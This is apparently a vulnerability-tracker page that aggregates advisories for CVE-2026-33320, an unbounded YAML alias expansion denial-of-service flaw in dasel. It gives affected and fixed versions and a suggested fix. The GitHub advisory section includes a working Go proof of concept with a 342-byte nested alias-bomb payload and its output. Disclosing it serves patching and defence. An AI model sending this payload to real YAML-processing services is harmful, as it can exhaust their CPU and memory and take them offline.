Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service

CVSS 3.1 6.2 MEDIUMEUVD CVSS 3.1 6.2 CVSS 3.1 · [email protected] · Secondary 6.2 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by github.com/tomwright/dasel/v3 3.3.2osv · severity unknownFixed by github.com/tomwright/dasel/v3 3.3.2KEV status unknown

cve-program · CVE-2026-33320

Published

Dasel is a command-line tool and library for querying, modifying, and transforming data structures. Starting in version 3.0.0 and prior to version 3.3.1, Dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. Version 3.3.2 contains a patch for the issue.

Read the publisher's advisory

euvd · EUVD-2026-20094

Published

Dasel is a command-line tool and library for querying, modifying, and transforming data structures. Starting in version 3.0.0 and prior to version 3.3.1, Dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. Version 3.3.2 contains a patch for the issue.

Read the publisher's advisory

nvd · CVE-2026-33320

Published

Dasel is a command-line tool and library for querying, modifying, and transforming data structures. Starting in version 3.0.0 and prior to version 3.3.1, Dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. Version 3.3.2 contains a patch for the issue.

Read the publisher's advisory

osv · GHSA-4fcp-jxh7-23x8

Published

### Summary `dasel`'s YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. The issue issue is on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on the current default branch at commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. It is also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth. ### Details In `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`), the reachable call path is: - The YAML reader is registered in [`parsing/yaml/yaml.go`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml.go) and exposed via `parsing.Format("yaml").NewReader()` - `(*yamlReader).Read` in [`parsing/yaml/yaml_reader.go#L23-L48`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L23-L48) uses `yaml.NewDecoder` to decode the input. Because `yamlValue` implements `UnmarshalYAML(*yaml.Node)`, the decoder passes the raw `*yaml.Node` tree to that custom unmarshaler - `(*yamlValue).UnmarshalYAML` in [`parsing/yaml/yaml_reader.go#L57-L131`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L57-L131) walks the Node tree - When an `AliasNode` is encountered, the handler at [`parsing/yaml/yaml_reader.go#L119-L126`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L119-L126) recursively calls `newVal.UnmarshalYAML(value.Alias)` without tracking expansion count The root cause is that go-yaml v4 has two decoding paths: 1. **`Unmarshal` into Go values**: Tracks alias expansion count and rejects documents with excessive aliasing (`"yaml: document contains excessive aliasing"`). 2. **`Decode` into `yaml.Node` / custom `UnmarshalYAML`**: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level. Dasel receives the compact Node tree via its `UnmarshalYAML(*yaml.Node)` hook and then recursively follows `value.Alias` pointers, re-expanding aliases without a budget: ```go case yaml.AliasNode: newVal := &yamlValue{} if err := newVal.UnmarshalYAML(value.Alias); err != nil { return err } yv.value = newVal.value yv.value.SetMetadataValue("yaml-alias", value.Value) ``` With a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input. Test environment: - MacBook Air (Apple M2), macOS / Darwin `arm64` - Go `1.26.1` - dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) - go.yaml.in/yaml/v4 `v4.0.0-rc.3` ### PoC ```go package main import ( "fmt" "runtime" "time" "github.com/tomwright/dasel/v3/parsing" _ "github.com/tomwright/dasel/v3/parsing/yaml" "go.yaml.in/yaml/v4" ) func main() { payload := `a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ` fmt.Printf("Payload size: %d bytes\n", len(payload)) fmt.Printf("Go version: %s\n", runtime.Version()) fmt.Printf("GOARCH: %s\n", runtime.GOARCH) fmt.Println() // 1. go-yaml v4 Unmarshal correctly rejects this fmt.Println("=== Test 1: Direct yaml.Unmarshal (should be rejected) ===") { var v interface{} start := time.Now() err := yaml.Unmarshal([]byte(payload), &v) elapsed := time.Since(start) if err != nil { fmt.Printf("SAFE: Rejected in %v: %v\n", elapsed, err) } else { fmt.Printf("VULNERABLE: Completed in %v\n", elapsed) } } fmt.Println() // 2. Dasel's YAML reader is vulnerable fmt.Println("=== Test 2: Dasel YAML reader (VULNERABLE) ===") done := make(chan string, 1) go func() { reader, err := parsing.Format("yaml").NewReader(parsing.DefaultReaderOptions()) if err != nil { done <- fmt.Sprintf("Error creating reader: %v", err) return } start := time.Now() _, err = reader.Read([]byte(payload)) elapsed := time.Since(start) if err != nil { done <- fmt.Sprintf("Error after %v: %v", elapsed, err) } else { done <- fmt.Sprintf("Completed in %v", elapsed) } }() select { case result := <-done: fmt.Println(result) case <-time.After(5 * time.Second): fmt.Println("CONFIRMED: did not complete within 5s; unbounded alias expansion in progress") } } ``` Observed output on `v3.3.1` in the test environment above: ```text Payload size: 342 bytes Go version: go1.26.1 GOARCH: arm64 === Test 1: Direct yaml.Unmarshal (should be rejected) === SAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing === Test 2: Dasel YAML reader (VULNERABLE) === CONFIRMED: did not complete within 5s; unbounded alias expansion in progress ``` ### Impact An attacker who can supply YAML for processing by dasel can cause denial of service. The library's own `UnmarshalYAML` handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated. This affects: - CLI usage: when reading YAML from stdin or files via the CLI - Library usage: any application using dasel's YAML reader to parse untrusted YAML - The `parse("yaml", ...)` function in selectors ### Suggested Fix One likely fix is to add an alias expansion counter to `UnmarshalYAML` that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).

Read the publisher's advisory

osv · GO-2026-4768

Published

Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service in github.com/tomwright/dasel

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-33320

Published

dasel

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "TomWright",
                    "product": "dasel",
                    "versions": [
                        {
                            "version": ">= 3.0.0, < 3.3.2",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-20094

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Mar 24, 2026, 12:06:22 AM

dateUpdated: Mar 26, 2026, 12:24:32 PM

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-33320

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-674

Original publisher date fields

published: 2026-03-24T01:17:02.203

lastModified: 2026-06-17T10:37:19.127

1 source CPE criteria · context only
  • cpe:2.3:a:tomwright:dasel:*:*:*:*:*:go:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-4fcp-jxh7-23x8

Published

github.com/tomwright/dasel/v3

Go

SEMVER · introduced 3.0.0 → fixed 3.3.2

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2026-4768

Published

github.com/tomwright/dasel

Go

SEMVER · introduced 0

github.com/tomwright/dasel/v2

Go

SEMVER · introduced 0

github.com/tomwright/dasel/v3

Go

SEMVER · introduced 3.0.0 → fixed 3.3.2

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 23:13 UTC · 274 of 275 readable · 250 fully read · 18 waiting for GitHub's hourly limit · documentation 461/469 current